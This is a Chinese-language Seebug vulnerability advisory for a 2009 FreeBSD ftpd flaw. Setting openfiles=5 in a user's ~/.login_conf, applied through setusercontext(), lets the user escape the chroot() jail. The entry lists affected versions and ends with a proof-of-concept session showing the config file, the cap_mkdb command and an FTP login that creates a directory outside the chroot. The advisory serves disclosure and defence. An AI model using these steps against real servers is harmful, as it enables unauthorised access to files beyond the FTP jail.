Lucene search

K
seebugRootSSV:12129
HistoryAug 26, 2009 - 12:00 a.m.

FreeBSD ftpd setusercontext()远程权限提升漏洞

2009-08-2600:00:00
Root
www.seebug.org
10

BUGTRAQ ID: 36119

FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统。

FreeBSD及其他一些BSD系统有一个用于设置用户上下文的功能,如FreeBSD中的setusercontext()函数:

setusercontext(lc, pw, (uid_t)0,
    LOGIN_SETLOGIN|LOGIN_SETGROUP|LOGIN_SETPRIORITY|
    LOGIN_SETRESOURCES|LOGIN_SETUMASK);

其中的LOGIN_SETRESOURCES设置允许用户设置资源。根据用户手册所述:

 LOGIN_SETRESOURCES  根据系统登录类数据库中所指定的值为当前进程设置资源限制。使用类功能标签,可选择-cur(软限制)或-max(硬限制)后缀及相关的资源设置:

         cputime       RLIMIT_CPU
         filesize      RLIMIT_FSIZE
         datasize      RLIMIT_DATA
         stacksize     RLIMIT_STACK
         coredumpsize  RLIMIT_CORE
         memoryuse     RLIMIT_RSS
         memorylocked  RLIMIT_MEMLOCK
         maxproc       RLIMIT_NPROC
         openfiles     RLIMIT_NOFILE
         sbsize        RLIMIT_SBSIZE
         vmemoryuse    RLIMIT_VMEM

远程攻击者可以利用这些选项设置自己的~/.login_conf配置。例如,将openfiles设置为5就可以绕过ftpd.c中的chroot()限制。

FreeBSD 7.0
FreeBSD 5.0
厂商补丁:

FreeBSD

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.freebsd.org/security/index.html


                                                ---snip---
%cat /etc/ftpchroot
kcope
%cat .login_conf
me:\
  :openfiles=5:

%cap_mkdb .login_conf
%ftp 192.168.2.4
Connected to 192.168.2.4.
220  FTP server (Version 6.00LS) ready.
Name (192.168.2.4:root): kcope
331 Password required for kcope.
Password:
230 User kcope logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /usr/home/kcope
ftp> mkdir /tmp/foobar
257 "/tmp/foobar" directory created.
ftp> ls
425 Can't open passive connection: Too many open files.
425 Can't open passive connection: Too many open files.
200 PORT command successful.
550 /bin/ls -lgA: Too many open files.
ftp>
---snip---